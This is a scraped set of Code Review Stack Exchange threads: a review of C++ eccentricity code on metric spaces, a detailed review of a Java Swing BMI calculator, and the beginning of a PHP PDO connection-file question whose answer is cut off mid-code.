for (long i = 0; i < N; i++) {
sum += pow(space.d(space.points_[pointIndex], space.points_[i]), r);
}
return pow(sum/N, 1/r);
}
Rn RnMaker(int dimension, long numberOfPoints) {
std::vector<std::vector<double>> points;
// Setting up the random machine
double lowerBound = 0;
double upperBound = 10;
std::uniform_real_distribution<double> uniform(lowerBound, upperBound);
std::default_random_engine randomEngine;
// Creating the random points
for (long i = 0; i < numberOfPoints; i++) {
std::vector<double> point;
for (int j = 0; j < dimension; j++) {
point.push_back(uniform(randomEngine));
}
points.push_back(point);
}
return Rn(points, dimension);
}
DNA DNAMaker(int length, long numberOfPoints) {
std::vector<std::vector<char>> points;
// Random seed
srand(time(NULL));
char characters[4] = {'A', 'C', 'G', 'T'};
// Creating the random points
for (long i = 0; i < numberOfPoints; i++) {
std::vector<char> point;
for (int j = 0; j < length; j++) {
point.push_back(characters[rand() % 4]);
}
points.push_back(point);
}
return DNA(points, length);
}
int main() {
Rn space = RnMaker(3, 100);
DNA space2 = DNAMaker(10, 100);
std::cout << "Eccentricity of the 10'th point in R^n with r = 2.1: " << eccentric(space, 10, 2.1) << std::endl;
std::cout << "Eccentricity of the 10'th point in a DNA metric space with r = 2.1: " << eccentric2(space2, 10, 2.1) << std::endl;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T16:03:10.293",
"Id": "503842",
"Score": "1",
"body": "_How do I [do x]_ is generally off-topic for this site. If you're asking for general feedback on maintainability, including how to improve flexibility of your eccentricity function, you may want to modify your wording a little. Your code as it stands works now, yes?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T16:04:04.163",
"Id": "503843",
"Score": "1",
"body": "It works as it stands now. I'll reword it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T16:14:19.860",
"Id": "503844",
"Score": "0",
"body": "I can't edit it, even when I literally do not change anything it tells me there is improperly formatted code. Please review the on topic parts if you want to, and I'll ask the rest somewhere else."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T16:16:55.883",
"Id": "503845",
"Score": "1",
"body": "I think it's generally on-topic. I'm going to venture a guess at an edit; please tell me if it's what you had in mind."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T16:20:18.653",
"Id": "503846",
"Score": "1",
"body": "@Reinderien That is exactly what I had in mind, thanks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T16:29:45.333",
"Id": "503847",
"Score": "1",
"body": "Btw the improper formatting is likely due to the fact that your triple-backtick was unterminated."
}
] |
[
{
"body": "<h1>Be consistent</h1>\n<p>There are many inconsistencies in your code:</p>\n<ul>\n<li>Why is there a <code>MetricSpace::d()</code> that takes no parameters?</li>\n<li>Why use proper C++ random functions in <code>RnMaker()</code>, but <code>srand()</code>/<code>rand()</code> in <code>DNAMaker()</code>?</li>\n<li>Why use a templated base class for <code>MetricSpace</code>, but then have specialized <code>eccentric()</code> function?</li>\n</ul>\n<h1>Turn on compiler warnings and fix them</h1>\n<p>My compiler warns about your use of <code>long i</code> in <code>for</code>-loops, where you compare it against a <code>size_t</code> value from for example <code>points_.size()</code>. Again, be consistent, and use <code>size_t</code> consistently for all sizes, counts and indices.</p>\n<h1>Remove <code>class MetricSpace</code></h1>\n<p>Nothing in it is actually used by the derived classes, everything is overridden. You can remove this class and your code will still compile and work.</p>\n<h1>Make <code>eccentric()</code> a template</h1>\n<p>Both <code>eccentric()</code> and <code>eccentric2()</code> do exactly the same thing, only the type of the first parameter is different. That's a job for templates. So:</p>\n<pre><code>template<typename Space>\ndouble eccentric(Space& space, size_t pointIndex, double r) {\n ...\n}\n</code></pre>\n<p>You also need to update your <code>friend</code> declarations to match the template:</p>\n<pre><code>class Rn {\n ...\n template<typename Space>\n friend double eccentric(Space& space, size_t pointIndex, double r);\n};\n</code></pre>\n<h1>Consider allowing <code>const</code> access to <code>points_</code></h1>\n<p>Instead of making <code>points_</code> <code>private</code> and needing to add <code>friend</code> declarations for whatever function needs to access <code>points_</code>, consider adding an accessor function to get a <code>const</code> reference to <code>points_</code>, like so:</p>\n<pre><code>class Rn {\npublic:\n ...\n const auto &get_points() const {\n return points_;\n }\n ...\n};\n</code></pre>\n<p>(Note that this relies on C++14, for earlier versions you need to specify the return type explicitly.) Then in <code>eccentric()</code> you can write:</p>\n<pre><code>template<typename Space>\ndouble eccentric(Space& space, size_t pointIndex, double r) {\n auto &points = space.get_points();\n size_t N = points.size();\n ...\n}\n</code></pre>\n<h1>Consider making the dimension/length of a point a template parameter</h1>\n<p>A vector of vectors is very inefficient. And for a given space, all points in that space have the same dimension or length. So it makes sense to make that a template parameter, and then use a <code>std::array</code> for each point. While you are at it, use a <code>using</code>-declaration to declare the type of a point to save some typing. For example:</p>\n<pre><code>template<size_t Dimension>\nclass Rn {\npublic:\n using Point = std::array<double, Dimension>;\n \n Rn(const std::vector<Point> &points): points_(points) {}\n\n double d(const Point &point1, const Point &point2) {\n ...\n } \n \nprivate:\n std::vector<Point> points_;\n};\n</code></pre>\n<p>You also have to make <code>RnMaker()</code> a template, such that in <code>main()</code> you write something like:</p>\n<pre><code>auto space = RnMaker<3>(100);\n</code></pre>\n<h1>Make the <code>Maker()</code> functions static member functions</h1>\n<p>This avoids all the issues you have above with making <code>RnMaker()</code> and <code>DNAMaker()</code> templates and friends. By making them static member functions, they are already part of the template, and they can access private member variables without issues. For example:</p>\n<pre><code>template <size_t Dimension>\nclass Rn {\npublic:\n using Point = std::array<double, Dimension>;\n\n Rn(const std::vector<Point> &points = {}): points_(points) {}\n\n double d(const Point& point1, const Point& point2) {\n ...\n }\n\n static Rn generate(size_t numberOfPoints) {\n Rn space;\n ...\n // Creating the random points\n for (size_t i = 0; i < numberOfPoints; i++) {\n Point point;\n for (size_t j = 0; j < Dimension; j++) {\n point[j] = uniform(randomEngine);\n }\n space.points_.push_back(point);\n }\n\n return space;\n }\n\nprivate:\n std::vector<Point> points_;\n};\n</code></pre>\n<p>And then you use it like so:</p>\n<pre><code>auto space = Rn<3>::generate(100);\n</code></pre>\n<p>You can do something similar for <code>DNA</code> of course.</p>\n<h1>Consider using STL algorithms</h1>\n<p>There are several STL algorithms that can help you replace some of the manual <code>for</code>-loops you have, for example <a href=\"https://en.cppreference.com/w/cpp/algorithm/generate_n\" rel=\"nofollow noreferrer\"><code>std::generate_n()</code></a> to fill <code>points_</code> with random points, and <a href=\"https://en.cppreference.com/w/cpp/algorithm/inner_product\" rel=\"nofollow noreferrer\"><code>std::inner_product()</code></a> to calculate the sum of distances raised to a power.</p>\n<h1>Use <code>std::pow()</code> and <code>std::sqrt()</code></h1>\n<p>While it is not an issue in your code, you should prefer using the <code>std::</code> variant of math functions whereever possible. These will have overloads for the floating point and possibly integer types, and so will be more efficient and/or correct than the C math functions <code>pow()</code> and <code>sqrt()</code> with always assume <code>double</code>, and would implicitly cast.</p>\n<h1>Naming things</h1>\n<p>I would rename <code>eccentric()</code> to <code>eccentricity()</code> or perhaps even <code>calculate_eccentricity()</code>. Prefer using verbs for functions and nouns for most other things.</p>\n<p>Also consider renaming <code>d()</code> to <code>distance()</code>. I know the former is a common abbreviation in mathematics, but it is less common in programming.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T21:06:19.887",
"Id": "503867",
"Score": "0",
"body": "\"Maker\" functions being static is \"fine\" - and in fact that would be the only option in Python. In C++ there's constructor overloading, so there's no reason for them not to be constructors."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T22:39:39.713",
"Id": "503881",
"Score": "2",
"body": "@Reinderien: True, although I wouldn't make a constructor that fills itself with random points just for testing. The original function was maybe better in that regard, except for the vector being copied. Maybe a constructor that takes an r-value reference to a vector of points then, so it can be efficiently moved, and then still an external function that generates the random points?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T22:55:57.170",
"Id": "503885",
"Score": "0",
"body": "Yeah that would be reasonable. Honestly I don't understand the scientific background, so if the use of random is for technical purposes it's safe in a constructor, but if it's just for a \"demo\" then yes, perhaps separated."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T16:34:24.963",
"Id": "503930",
"Score": "0",
"body": "Thanks a lot for your feedback. I have a question about the vector of vectors: a point in a metric space will not generally be a vector of some fixed length like in these examples (so perhaps poorly chosen examples). For example DNA strands could have different lengths, or we could have a metric space of functions. \n\nIf I make MetricSpace abstract, with the points an array of type T with a template, is there a better choice than yet another std::array when implementing Rn and DNA?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T20:05:00.770",
"Id": "503943",
"Score": "1",
"body": "If a point really has a variable length, then using a `std::vector` instead of a `std::array` for it is of course fine. Use the best type for the points in the metric space."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T18:17:33.163",
"Id": "255378",
"ParentId": "255375",
"Score": "5"
}
},
{
"body": "<ul>\n<li>use a template for the inner type</li>\n<li>Make the base abstract</li>\n<li>Use <code>const</code> references where appropriate</li>\n<li>Move the definition of your character list to the class</li>\n<li>Convert the "make" methods to constructors</li>\n<li>Use <code>std::find</code> instead of an inner loop in your validation code</li>\n<li>Use <code>std::array</code> to force a square matrix rather than needing to loop through</li>\n<li>Only write one definition of <code>eccentric</code></li>\n<li>Do not store the dimension number as a member</li>\n</ul>\n<p>Suggested:</p>\n<pre><code>#include <algorithm>\n#include <array>\n#include <cmath>\n#include <iostream>\n#include <random>\n#include <vector>\n\n\ntemplate<\n size_t N, // The point size\n typename T, // The array sub-type\n typename D // The distance type\n>\nclass MetricSpace {\npublic:\n typedef std::array<T, N> Point;\n\n virtual D distance(\n const Point &point1,\n const Point &point2\n ) const = 0;\n\n // Note that this always returns a promoted double and not the distance type\n double eccentric(size_t pointIndex, double r) const {\n double sum = 0;\n for (size_t i = 0, e = points.size(); i != e; i++) {\n // Skip computation of the distance to "self" which should be 0\n if (i != pointIndex) {\n D dist = distance(points[pointIndex], points[i]);\n sum += pow(dist, r);\n }\n }\n\n return pow(sum/points.size(), 1/r);\n }\n\nprotected:\n MetricSpace() {}\n MetricSpace(const std::vector<Point> &_points) : points(_points) {}\n\n std::vector<Point> points;\n};\n\n\ntemplate<\n size_t N,\n typename T = double,\n typename D = double\n>\nclass Rn: public MetricSpace<N, T, D> {\npublic:\n typedef MetricSpace<N, T, D> Base;\n typedef typename Base::Point Point;\n\n Rn(const std::vector<Point> &_points): Base(_points) {}\n\n Rn(size_t n_points) {\n // Setting up the random machine\n T lowerBound = 0, upperBound = 10;\n std::uniform_real_distribution<T> uniform(lowerBound, upperBound);\n std::default_random_engine randomEngine;\n\n // Creating the random points\n for (size_t i = 0; i < n_points; i++) {\n Point point;\n for (size_t j = 0; j < N; j++) {\n point[j] = uniform(randomEngine);\n }\n Base::points.push_back(point);\n }\n }\n\n D distance(const Point &point1, const Point &point2) const {\n D squaredDistance = 0;\n\n for (size_t i = 0, e = point1.size(); i != e; i++) {\n T diff = point1[i] - point2[i];\n squaredDistance += diff*diff;\n }\n\n return sqrt(squaredDistance);\n }\n};\n\n\n// Elements are sequences finite (x_1, ..., x_N) with x_i in {A, C, G, T}\n// and the distance d(x, y) is the amount of i for which x_i != y_i.\ntemplate<\n size_t N,\n typename T = char,\n typename D = int\n>\nclass DNA: public MetricSpace<N, T, D> {\npublic:\n typedef MetricSpace<N, T, D> Base;\n typedef typename Base::Point Point;\n\n DNA(const std::vector<Point> &_points): Base(_points) {\n validate();\n }\n\n DNA(size_t n_points) {\n // Random seed\n srand(time(NULL));\n\n // Creating the random points\n for (size_t i = 0; i < n_points; i++) {\n Point point;\n for (size_t j = 0; j < N; j++) {\n point[j] = characters[rand() % 4];\n }\n Base::points.push_back(point);\n }\n\n validate();\n }\n\n void validate() const {\n const char *last = characters + sizeof(characters);\n for (const Point &p: Base::points) {\n for (T x: p) {\n if (std::find(characters, last, x) == last) {\n throw std::invalid_argument(\n std::string("At least one DNA strand contains bad character '")\n + x + '\\''\n );\n }\n }\n }\n }\n\n D distance(const Point &point1, const Point &point2) const {\n D counter = 0;\n for (size_t i = 0; i < point1.size(); i++) {\n if (point1[i] != point2[i]) {\n counter++;\n }\n }\n\n return counter;\n }\n\n static constexpr T characters[] = {'A', 'C', 'G', 'T'};\n};\n\n\nint main() {\n Rn<3> space = Rn<3>(100);\n DNA<10> space2 = DNA<10>(100);\n\n std::cout << "Eccentricity of the 10'th point in R^n with r = 2.1: "\n << space.eccentric(10, 2.1) << std::endl;\n std::cout << "Eccentricity of the 10'th point in a DNA metric space with r = 2.1: "\n << space2.eccentric(10, 2.1) << std::endl;\n}\n</code></pre>\n<p>Caveat: "some" of this is modern C++, though I'm not an expert. This compiles and runs with <code>g++ -Wall -std=c++17</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T20:56:55.180",
"Id": "255386",
"ParentId": "255375",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255386",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T15:26:05.743",
"Id": "255375",
"Score": "4",
"Tags": [
"c++",
"beginner",
"object-oriented"
],
"Title": "C++: eccentricity function on metric spaces"
}
|
255375
|
<p>This is my first question here and I'd like to get some feedback. The program works but I'm not sure the classes I've used are right.</p>
<p>First, a class to calculate the Body Mass Index from a double (kgs) and an integer (height in cm):</p>
<pre><code>//Data taken from https://codereview.stackexchange.com/questions/216933/java-swing-exercise-bmi-calculator
//NavigableMap idea taken from https://codereview.stackexchange.com/questions/142708/school-grading-string-calculator/142752#142752
import java.util.Map;
import java.util.NavigableMap;
import java.util.TreeMap;
public class PersonHealthData {
private final double weight; //Kg.
private final int height; //cm.
private static final NavigableMap<Double, String> grades = new TreeMap<>();
static {
grades.put(0.0, "Insuficient Weight");
grades.put(18.5, "Normal Wight");
grades.put(24.9, "Overweight Grade 1");
grades.put(26.9, "Overweight Grade 2: Probesity");
grades.put(29.9, "Obesity Grade 1");
grades.put(34.9, "Obesity Grade 2");
grades.put(39.9, "Obesity Grade 3: Morbid");
grades.put(49.9, "Obesity Grade 4: Extreme");
}
public PersonHealthData(double weight, int height) {
this.weight = weight;
this.height = height;
}
public double getWeight() {
return weight;
}
public int getHeight() {
return height;
}
public double getBMI() {
double heightMeters = height / 100.0;
return weight / (double) (heightMeters * heightMeters);
}
public String getGrade() {
Map.Entry<Double, String> gradeEntry = grades.floorEntry(getBMI());
if (gradeEntry == null) {
return "Incorrect Data";
}
return gradeEntry.getValue();
}
}
</code></pre>
<p>The second class is the Main program (creates the interface and acts like a controller I guess)</p>
<pre><code>import javax.swing.*;
import java.awt.*;
public class MainProgram {
private final JFrame window;
private final EntryPanel dataEntry;
private final ResultPanel results;
MainProgram() {
window = new JFrame("BMI CAlculator");
window.setLayout(new GridLayout(0, 1));
dataEntry = new EntryPanel(this);
window.add(dataEntry.getPanel());
results = new ResultPanel();
window.add(results.getPanel());
window.pack();
window.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
window.setLocationRelativeTo(null);
}
public void show() {
window.setVisible(true);
}
public static void main(String[] args) {
MainProgram mainProgram;
mainProgram = new MainProgram();
mainProgram.show();
}
public void action() {
double weight;
try {
weight = Double.parseDouble(dataEntry.getStringWeight());
} catch (NumberFormatException e) {
results.error("Weight input is not a number");
return;
}
int height;
try {
height = Integer.parseInt(dataEntry.getStringHeight());
} catch (NumberFormatException e) {
results.error("Height input is not a number");
return;
}
PersonHealthData data = new PersonHealthData(weight, height);
results.setResults(String.format("Your BMI is: %.2f", data.getBMI()), data.getGrade());
}
}
</code></pre>
<p>And two classes to practice Swing components and listeners. The first one is an input Panel:</p>
<pre><code>import javax.swing.*;
import javax.swing.border.EmptyBorder;
import java.awt.*;
import java.awt.event.KeyAdapter;
import java.awt.event.KeyEvent;
public class EntryPanel {
private final JPanel panel;
private final JPanel panelSliders;
private final JPanel panelInput;
private final JTextField textWeight;
private final JTextField textHeight;
private final MainProgram mainProgram;
private final JSlider sliderWeight;
private final JSlider sliderHeight;
EntryPanel(MainProgram mainProgram) {
this.mainProgram = mainProgram;
panel = new JPanel(new GridLayout(0, 1));
panelSliders = new JPanel(new GridLayout(0, 2));
sliderWeight = new JSlider();
sliderWeight.setMinimum(10);
sliderWeight.setMaximum(200);
panelSliders.add(sliderWeight);
panelSliders.add(new JLabel("Weight"));
sliderHeight = new JSlider();
sliderHeight.setMinimum(10);
sliderHeight.setMaximum(270);
panelSliders.add(sliderHeight);
panelSliders.add(new JLabel("Height"));
panelSliders.setBorder(new EmptyBorder(10, 10, 10, 10));
panel.add(panelSliders);
panelInput = new JPanel(new GridLayout(0, 3, 10, 10));
panelInput.setBorder(new EmptyBorder(10, 10, 10, 10));
panelInput.add(new JLabel("Weight"));
textWeight = new JTextField();
textWeight.addKeyListener(new KeyAdapter() {
@Override
public void keyReleased(KeyEvent e) {
super.keyReleased(e);
mainProgram.action();
}
});
textWeight.setHorizontalAlignment(SwingConstants.RIGHT);
panelInput.add(textWeight);
panelInput.add(new JLabel("kg."));
panelInput.add(new JLabel("Height"));
textHeight = new JTextField();
textHeight.setHorizontalAlignment(SwingConstants.RIGHT);
textHeight.addKeyListener(new KeyAdapter() {
@Override
public void keyReleased(KeyEvent e) {
super.keyReleased(e);
mainProgram.action();
}
});
panelInput.add(textHeight);
panelInput.add(new JLabel("cm."));
sliderWeight.addChangeListener(e -> {
textWeight.setText("" + sliderWeight.getValue());
mainProgram.action();
});
sliderHeight.addChangeListener(e -> {
textHeight.setText("" + sliderHeight.getValue());
mainProgram.action();
});
panel.add(panelInput);
}
public JPanel getPanel() {
return panel;
}
public String getStringWeight() {
return textWeight.getText();
}
public String getStringHeight() {
return textHeight.getText();
}
}
</code></pre>
<p>And the second one is used to show the results:</p>
<pre><code>import javax.swing.*;
import javax.swing.border.EmptyBorder;
import java.awt.*;
public class ResultPanel {
private final JPanel panel;
private final JLabel BMI;
private final JLabel information;
ResultPanel() {
panel = new JPanel();
panel.setLayout(new GridLayout(0, 1, 10, 10));
panel.setBorder(new EmptyBorder(10, 10, 10, 10));
BMI = new JLabel("Enter your weight and height in centimeters.");
BMI.setHorizontalAlignment(SwingConstants.CENTER);
information = new JLabel("");
information.setHorizontalAlignment(SwingConstants.CENTER);
panel.add(BMI);
panel.add(information);
}
public JPanel getPanel() {
return panel;
}
public void setResults(String IMC, String information) {
this.BMI.setText(IMC);
this.BMI.setForeground(Color.BLACK);
this.information.setText(information);
}
public void error(String s) {
this.BMI.setText(s);
this.BMI.setForeground(Color.RED);
this.information.setText("");
}
}
</code></pre>
<p>No Unit Tests because We've not gone so far in my class.</p>
<p>Any advice or comment will be very appreciated and welcome.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T17:35:04.460",
"Id": "503857",
"Score": "0",
"body": "In your MainProgram, you need to start the Swing application on the [Event Dispatch Thread](https://docs.oracle.com/javase/tutorial/uiswing/concurrency/dispatch.html) by using the SwingUtilities invokeLater method. I would have left the JFrame default BorderLayout and used BEFORE_FIRST_LINE and AFTER_LAST_LINE placements, but that's a style comment. I'd have to compile and run your code for any other comments."
}
] |
[
{
"body": "<p><a href=\"https://www.oracle.com/java/technologies/javase/codeconventions-namingconventions.html\" rel=\"nofollow noreferrer\">Java naming conventions</a> state that variables and methods (including fields/members) should be lowerCamelCase. If they contain an acronym or similar, like HTTP, it should only have the leading letter uppercase when not at the start of the name, like "httpClient" or "performHttpAction".</p>\n<p>Naming conventions are an important tool to let somebody quickly know that they are looking at. 99.9999% of Java programmers will immediately assume the name "BMI" to belong a constant of some sort.</p>\n<p>Last but not least, you're using "BMI" throughout the whole application. If you can, you should avoid domain specific abbreviations as they might not be completely understandable when somebody enters the domain.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>private final double weight; //Kg.\nprivate final int height; //cm.\n</code></pre>\n<p><a href=\"https://www.oracle.com/technical-resources/articles/java/javadoc-tool.html\" rel=\"nofollow noreferrer\">Javadoc</a>. Or even better, make it part of the variable name <code>weightInKg</code>. Or even better, create a domain specific type.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>private static final NavigableMap<Double, String> grades = new TreeMap<>();\n</code></pre>\n<p>As a note, even though this is declared <code>final</code>, the content can still be changed.</p>\n<p>Also, maybe this should come from a configuration in the end.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>grades.put(0.0, "Insuficient Weight");\n</code></pre>\n<p><a href=\"https://docs.oracle.com/javase/tutorial/java/data/autoboxing.html\" rel=\"nofollow noreferrer\">Autoboxing</a>.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>grades.put(18.5, "Normal Wight");\n</code></pre>\n<p>Typo.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> public double getBMI() {\n double heightMeters = height / 100.0;\n return weight / (double) (heightMeters * heightMeters);\n }\n</code></pre>\n<p>Cache the BMI (calculate it once in the construcor), it will not change.</p>\n<pre class=\"lang-java prettyprint-override\"><code> public String getGrade() {\n Map.Entry<Double, String> gradeEntry = grades.floorEntry(getBMI());\n if (gradeEntry == null) {\n return "Incorrect Data";\n }\n return gradeEntry.getValue();\n }\n</code></pre>\n<p>Same here.</p>\n<hr />\n<p>Short talk on API design, your class currently looks like this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public class PersonHealthData {\n private final double weight; //Kg.\n private final int height; //cm.\n\n private static final NavigableMap<Double, String> grades = new TreeMap<>();\n\n public double getWeight();\n public int getHeight();\n public double getBMI();\n public String getGrade();\n}\n</code></pre>\n<p>So, let's assume I want to extend this class. There is very little wiggle room with the values being <code>private</code> and <code>final</code>. However, <code>getWeight()</code> and <code>getHeight()</code> are not final. So if I want to return a different <code>weight</code>, for example because I want the class to be mutable, I'd implement a setter, have another <code>private</code> member holding my new weight and override <code>getWeight()</code>. What now happens is that <code>getBMI</code> and <code>getGrade</code> will return incorrect values, unless I re-implement them, however, their logic might not be known to me. Also, I might not quickly notice that problem.</p>\n<p>Possible solutions:</p>\n<ol>\n<li>Make the class <code>final</code>.</li>\n<li>Make <code>getWeight</code> and <code>getHeight</code> <code>final</code>. This removes effectively any possibility to extend the class.</li>\n<li>Make <code>weight</code> and <code>height</code> <code>protected</code> and not final. That would allow to effectively extend the class.</li>\n<li>Make <code>getBMI</code> use <code>getWeight</code> and <code>getHeight</code> instead.</li>\n</ol>\n<p>So what solution you pick is up to you...story time! More times than not I've encountered very "liberate" use of the <code>final</code> keyword and ran into more troubles than it solved. It happens quite often to me that I need to extend a class to either lever out or strap on functionality because my use-case does not perfectly fit the implementation. A <code>final</code> class removes any possibility to do so which means that other ways must be found to do that.</p>\n<p>There's also the question what you want to try to achieve. Personally, I got told that using <code>final</code> literately will make the code easier to read and maintain, that is an opinion that I cannot agree with. Because if methods and members are randomly <code>protected</code>, <code>private</code> and <code>private final</code> and made need to be changed every now and then when the logic changes, it does reek more like a cargo-cult like decision than an active design decision.</p>\n<p>Enough of the rant, I could talk hours about this and it's slightly outside the scope of this review.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>import javax.swing.*;\nimport java.awt.*;\n</code></pre>\n<p>Ideally you'd avoid wildcard imports to make it easier to see what classes are being used (collisions are possible). A good IDE will also automatically manage imports for you.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> MainProgram() {\n</code></pre>\n<p>Why is the constructor <code>package-private</code> but the class is <code>public</code>?</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>window = new JFrame("BMI CAlculator");\n</code></pre>\n<p>Typo.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> public static void main(String[] args) {\n MainProgram mainProgram;\n mainProgram = new MainProgram();\n mainProgram.show();\n\n }\n</code></pre>\n<p>Personally I like to keep the <code>main</code> in a class called <code>Main</code> which doesn't contain anything else. It makes it extremely easy to find the entrypoint of the application.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>results.error("Weight input is not a number");\n</code></pre>\n<p>Include exception message and the value that failed to be parsed in the error message to reduce debugging time.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> this.BMI.setText(IMC);\n this.BMI.setForeground(Color.BLACK);\n this.information.setText(information);\n</code></pre>\n<p>Some times you use 'this', some times you don't, be consistent.</p>\n<hr />\n<p>You're slightly mixing responsibilities here. <code>PersonHealthData</code> is model, service and partly view provider in one. It holds the data, calculates the BMI and provides a user-facing string.</p>\n<p>If all you want to do in your application is calculate the BMI, <code>PersonHealthData</code> is completely unnecessary, just do the calculation in <code>EntryPanel</code> and be done with it. There's no need for the class at all.</p>\n<p>You could, however, move the calculation to <code>BodyMassIndexCalculator</code> which has the method <code>calculate</code>:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public class BodyMassIndexCalculator {\n public double calculate(double heightInCentimeter, double weightInKilogram);\n}\n</code></pre>\n<p>Now we actually would also like to have the class of that value, that would mean that we need some additional information. Let's create an <code>enum</code> that holds the classes.</p>\n<pre class=\"lang-java prettyprint-override\"><code>public enum BodyMassIndexClass {\n VERY_SEVERELY_UNDERWEIGHT,\n SEVERLY_UNDERWEIGHT,\n UNDERWEIGHT,\n ...;\n}\n</code></pre>\n<p>That gives us a nice start. Assuming that these BMI classes will never change, we will couple them with their respective values directly:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public enum BodyMassIndexClass {\n VERY_SEVERELY_UNDERWEIGHT(0, 15),\n SEVERLY_UNDERWEIGHT(15, 16),\n UNDERWEIGHT(16, 18.5),\n ...;\n \n private final double from;\n private final double to;\n \n private BodyMassIndexClass(double from, double to) {\n this.from = from;\n this.to = to;\n }\n\n // TODO Getters for from and to.\n \n public BodyMassIndexClass forIndex(double bodyMassIndexValue) {\n for (BodyMassIndexClass bodyMassIndexClass : values()) {\n if (bodyMassIndexClass.from <= bodyMassIndexValue && bodyMassIndexValue < bodyMassIndexClass.from) {\n return bodyMassIndexClass;\n }\n }\n \n return null;\n }\n}\n</code></pre>\n<p>We could pair that with a nice little holder:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public final class BodyMassIndex {\n public final BodyMassIndexClass getBodyMassIndexClass();\n public final double getValue();\n}\n</code></pre>\n<p>Note that this is <code>final</code> because it is completely devoid of logic, it merely couples two values together.</p>\n<p>That can now be returned from our calculator class.</p>\n<p>In the GUI you can now have a switch to get the appropriate text to display.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-04T14:33:23.287",
"Id": "504376",
"Score": "0",
"body": "Thank you very much for your exhaustive review. I'll try to improve my programming and these comments mean a lot."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T21:10:50.283",
"Id": "255388",
"ParentId": "255377",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255388",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T16:41:12.653",
"Id": "255377",
"Score": "3",
"Tags": [
"java",
"swing"
],
"Title": "BMI Calculator Java Swing Practice"
}
|
255377
|
<p>I have a connection.php file into my root folder and at the bottom, I added <code>BASE_URL</code></p>
<pre><code><?php
$hostname = "localhost";
$username='root';
$password='';
$db='demo';
$charset = 'utf8mb4';
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false,
];
$dsn = "mysql:host=$hostname;dbname=$db;charset=$charset";
try {
$pdo = new PDO($dsn, $username, $password, $options);
}
catch (PDOException $e) {
throw new PDOException($e->getMessage(), (int)$e->getCode());
}
define('BASE_URL', 'http://example.com/');
?>
</code></pre>
<p>Now, On each file, I am adding the connection.php file</p>
<pre><code><?PHP
require($_SERVER["DOCUMENT_ROOT"].'/connection.php');
?>// HTML code start
</code></pre>
<p>Is this the correct way to use the database connection file? What should I use <code>include</code> or <code>require</code>?</p>
|
[] |
[
{
"body": "<p>Good question. Although the connection code itself is good, some improvements can be made.</p>\n<h2>A separate config file</h2>\n<p>When your code goes live, most likely database credentials will be different from those at home. Therefore, having them hardcoded in the script will make it extremely inconvenient. Instead, create a separate file for your configuration as follows:</p>\n<ul>\n<li><p>add the <code>config.php</code> line in <code>.gitignore</code> (in case you are not using git yet, you definitely should)</p>\n</li>\n<li><p>create a file called <code>config.sample.php</code> with all variables set to empty values like this:</p>\n<pre><code> return [\n 'db' => [\n 'host' => '127.0.0.1',\n 'username' => '',\n 'password' => '',\n 'dbname' => '',\n 'port' => 3306,\n 'charset' => 'utf8mb4',\n ],\n 'base_url' => 'http://example.com/',\n ];\n</code></pre>\n</li>\n<li><p><strong>add</strong> it to the version control</p>\n</li>\n<li><p>then in your application bootstrap file have a code like this:</p>\n<pre><code> <?php\n if (!file_exists('config.php'))\n {\n throw new \\Exception('Create config.php based on config.sample.php');\n }\n $config = require __DIR__.'/config.php';\n\n define('BASE_URL', $config['base_url']);\n\n $options = [\n PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,\n PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,\n PDO::ATTR_EMULATE_PREPARES => false,\n ];\n $dbconf = $config['db'];\n $dsn = "mysql:host=$dbconf[host];dbname=$dbconf[dbname];charset=$dbconf[charset]";\n try {\n $pdo = new PDO($dsn, $username, $password, $options);\n } catch (PDOException $e) {\n throw new 